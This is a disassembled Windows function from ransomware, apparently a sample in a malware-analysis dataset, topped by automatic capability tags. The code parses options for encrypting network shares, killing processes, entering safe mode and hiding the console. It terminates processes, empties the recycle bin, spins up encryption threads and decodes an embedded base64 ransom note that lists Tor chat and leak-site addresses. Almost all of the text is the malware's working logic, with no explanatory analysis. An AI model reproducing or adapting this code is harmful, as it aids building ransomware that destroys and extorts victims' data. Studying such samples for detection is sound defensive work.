Function at 0x407360
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Enumerate processes
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x24]
movlpd qword [ebp - 0x20], xmm0
push eax
movlpd qword [ebp - 0x18], xmm0
movlpd qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x4073f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x80
lea ecx, [ebp - 0x124]
mov dword [ebp - 0x1c], eax
push ecx
push 0x409
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x124]
push eax
push str.____Error_while_parsing_arguments:__s
call fcn.00401330
add esp, 8
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409a70
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 0x24]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push edi
cmp ebx, 1
jg 0x40740b
xor al, al
jmp 0x40742c
mov edi, 1
push str.__verbose
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40742a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407410
xor al, al
jmp 0x40742c
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [0x42a33b], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407443
xor al, al
jmp 0x40746c
mov edi, 1
nop dword [eax + eax]
push str.__stop_processes
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40746a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407450
xor al, al
jmp 0x40746c
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [0x42a338], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407483
xor al, al
jmp 0x4074ac
mov edi, 1
nop dword [eax + eax]
push str.__encrypt_network
push dword [eax + edi*4]
call esi
test eax, eax
je 0x4074aa
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407490
xor al, al
jmp 0x4074ac
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [0x42a339], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4074c3
xor al, al
jmp 0x4074ec
mov edi, 1
nop dword [eax + eax]
push str.__load_drives
push dword [eax + edi*4]
call esi
test eax, eax
je 0x4074ea
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4074d0
xor al, al
jmp 0x4074ec
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [0x42a33a], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jle 0x40751a
mov edi, 1
push str.__mode
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40751a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407504
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x254], eax
cmp ebx, 1
jle 0x40755e
mov edi, 1
push str.__file
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40754b
inc edi
cmp edi, ebx
jge 0x40755e
mov eax, dword [ebp - 0x254]
jmp 0x407530
lea eax, [edi + 1]
cmp eax, ebx
jge 0x40755e
mov eax, dword [ebp - 0x254]
mov eax, dword [eax + edi*4 + 4]
jmp 0x407560
xor eax, eax
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x254], eax
cmp ebx, 1
jle 0x4075ae
mov edi, 1
nop dword [eax]
push str.__dir
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40759b
inc edi
cmp edi, ebx
jge 0x4075ae
mov eax, dword [ebp - 0x254]
jmp 0x407580
lea eax, [edi + 1]
cmp eax, ebx
jge 0x4075ae
mov eax, dword [ebp - 0x254]
mov eax, dword [eax + edi*4 + 4]
jmp 0x4075b0
xor eax, eax
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4075c5
xor al, al
jmp 0x4075ec
mov edi, 1
nop word [eax + eax]
push str.__help
push dword [eax + edi*4]
call esi
test eax, eax
je 0x4075ea
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4075d0
xor al, al
jmp 0x4075ec
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407601
xor al, al
jmp 0x407622
mov edi, 1
push str.__kill
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407620
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407606
xor al, al
jmp 0x407622
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407637
xor al, al
jmp 0x40765c
mov edi, 1
nop dword [eax]
push str.__safe_mode
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40765a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407640
xor al, al
jmp 0x40765c
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407671
xor al, al
jmp 0x407692
mov edi, 1
push str.__hide_cmd
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407690
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407676
xor al, al
jmp 0x407692
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4076a7
xor al, al
jmp 0x4076cc
mov edi, 1
nop dword [eax]
push str.__no_background
push dword [eax + edi*4]
call esi
test eax, eax
je 0x4076ca
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4076b0
xor al, al
jmp 0x4076cc
mov al, 1
mov ebx, dword [ebp - 0x24]
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4076e1
xor al, al
jmp 0x407702
mov edi, 1
push str.__no_print
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407700
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4076e6
xor al, al
jmp 0x407702
mov al, 1
cmp byte [ebp - 0x10], 0
mov byte [ebp - 0xb], al
je 0x4077b6
mov eax, dword [ebp - 0x20]
push dword [eax]
push str.Usage:__s__ARGUMENTS__n
call fcn.004012f0
push str.Arguments:_n
call fcn.00401330
push str._t__file__filePath___tEncrypt_only_specified_file_n
call fcn.00401330
push str._t__dir__dirPath___tEncrypt_only_specified_directory_n
call fcn.00401330
push str._t__help__t_t_tPrint_this_message_n
call fcn.00401330
push str._t__verbose__t_tEnable_verbosity_n
call fcn.00401330
push str._t__stop_processes__tTry_to_stop_processes_via_RestartManager_n
call fcn.00401330
push str._t__encrypt_network__tEncrypt_network_shares_n
call fcn.00401330
push str._t__load_drives__t_tLoad_hidden_drives_n
call fcn.00401330
push str._t__hide_cmd__t_tHide_console_window_n
call fcn.00401330
push str._t__no_background__tDont_change_background_image_n
call fcn.00401330
push str._t__no_print__t_tDont_print_note_on_printers_n
call fcn.00401330
push str._t__kill__t_t_tKill_processes_services_n
call fcn.00401330
push str._t__safe_mode__t_tEnter_safe_mode_n
call fcn.00401330
add esp, 0x3c
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409a70
mov esp, ebp
pop ebp
ret
cmp byte [0x42a33b], 0
je 0x407845
push str.Settings:_n
call fcn.00401330
cmp byte [0x42a338], 0
mov esi, 0x424fc8
mov eax, esi
mov edi, 0x424fcc
cmove eax, edi
push eax
push 0x424fd0
call fcn.004012f0
cmp byte [0x42a339], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Encrypt_network_shares_n
call fcn.004012f0
cmp byte [0x42a33a], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Load_hidden_drives_n
call fcn.004012f0
cmp byte [ebp - 0xf], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Kill_processes_and_services_n
call fcn.004012f0
cmp byte [ebp - 0xe], 0
cmove esi, edi
push esi
push str._t__s__Enter_safe_mode_n_n
call fcn.004012f0
add esp, 0x2c
cmp byte [ebp - 0xf], 0
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x407926
cmp byte [0x42a33b], 0
je 0x40786b
push str.___Killing_processes..._n
call fcn.00401330
add esp, 4
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x250], 0x22c
lea eax, [ebp - 0x250]
mov dword [ebp - 8], edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, 0x424c34
nop word [eax + eax]
mov edx, dword [esi]
lea ecx, [ebp - 0x22c]
call fcn.00405de0
test eax, eax
je 0x4078fa
push dword [ebp - 0x248]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4078fa
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x4078f7
cmp byte [0x42a33b], 0
je 0x4078f7
push dword [ebp - 0x248]
lea eax, [ebp - 0x22c]
push eax
push str.___Proccess__s_with_PID:__d_was_killed_succesffully_n
call fcn.004012f0
add esp, 0xc
push edi
call ebx
add esi, 4
cmp esi, 0x424c4c
jl 0x4078a0
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x250]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x407892
push edi
call ebx
call fcn.00406790
lea eax, [ebp - 8]
mov dword [ebp - 0x254], 0
push eax
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM3OiBodHRwOi8vbHlueGNoMms1eGkzNWo3aGxibXdsN2Q2dTJvejR2cDJ3cXA2cWt3b2w2MjRjb2QzZDZpcWl5cWQub25pb24vbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
lea ecx, [ebp - 0x254]
mov dword [ebp - 8], 0
call fcn.00401370
mov ecx, eax
mov dword [0x42a33c], ecx
test ecx, ecx
jne 0x4079ab
cmp byte [0x42a33b], al
je 0x407997
push eax
push 0x80
lea eax, [ebp - 0x124]
push eax
push 0x409
push dword [ebp - 0x254]
push ecx
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x124]
push eax
push str.____Failed_to_decode_readme:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409a70
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
push ecx
mov byte [ecx + eax], 0
call fcn.00405e70
add esp, 4
mov dword [0x42a33c], eax
cmp byte [0x42a33b], 0
je 0x4079d6
push str.___Successfully_decoded_readme__n
call fcn.00401330
add esp, 4
push 0x42a348
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x42a35c]
push 0
push 0
push 0
push 0xffffffffffffffff
lea edi, [eax*4]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x42a340], eax
xor ecx, ecx
mov eax, edi
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004105aa
add esp, 4
mov dword [0x42a344], eax
xor esi, esi
test edi, edi
jle 0x407a53
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
nop dword [eax]
push 0
push 0
push dword [0x42a340]
push 0x405600
push 0
push 0
call ebx
mov ecx, dword [0x42a344]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, edi
jl 0x407a30
mov cl, byte [0x42a33b]
test cl, cl
je 0x407a70
push str.___Threads_are_initialized__n
call fcn.00401330
mov cl, byte [0x42a33b]
add esp, 4
mov eax, dword [0x42a340]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x42a334], eax
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x407aa8
test cl, cl
je 0x407a9c
push eax
push str.___Searching_files_in__s_n
call fcn.004012f0
mov eax, dword [ebp - 0x14]
add esp, 8
mov ecx, eax
call fcn.00404e00
jmp 0x407b5b
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x407ad0
test cl, cl
je 0x407ac4
push eax
push str.___Encrypting_file:__s_n
call fcn.004012f0
mov eax, dword [ebp - 0x18]
add esp, 8
mov ecx, eax
call fcn.00405880
jmp 0x407b5b
test cl, cl
je 0x407ae1
push str.___Recycling_bin..._n
call fcn.004012f0
add esp, 4
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
cmp byte [0x42a33a], 0
je 0x407b11
cmp byte [0x42a33b], 0
je 0x407b0c
push str.___Loading_hidden_drives..._n
call fcn.004012f0
add esp, 4
call fcn.004049b0
cmp byte [0x42a33b], 0
je 0x407b56
push str.___Starting_full_encryption_in_5s
call fcn.004012f0
add esp, 4
mov esi, 5
nop dword [eax]
push 0x3e8
call edi
push 0x425360
call fcn.004012f0
add esp, 4
sub esi, 1
jne 0x407b30
push 0x425c50
call fcn.004012f0
add esp, 4
call fcn.00405370
mov eax, dword [0x42a35c]
mov esi, 0x42a330
lea ebx, [eax*4]
nop dword [eax]
push 0x3e8
call edi
xor eax, eax
lock xadd dword [esi], eax
test eax, eax
jg 0x407b70
push 0x170
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x170
mov edi, eax
push 0
push edi
call fcn.0040ad30
add esp, 0xc
mov dword [edi + 0x34], 4
test ebx, ebx
jle 0x407bca
mov esi, ebx
push edi
push 0
push 0
push dword [0x42a340]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub esi, 1
jne 0x407bb4
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0xffffffffffffffff
push 1
push dword [0x42a344]
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
test ebx, ebx
jle 0x407c0f
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [eax + eax]
mov eax, dword [0x42a344]
push dword [eax + esi*4]
call edi
inc esi
cmp esi, ebx
jl 0x407c00
cmp byte [ebp - 0xc], 0
jne 0x407c1a
call fcn.00406a00
cmp byte [ebp - 0xb], 0
jne 0x407c25
call fcn.00406e00
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409a70
mov esp, ebp
pop ebp
ret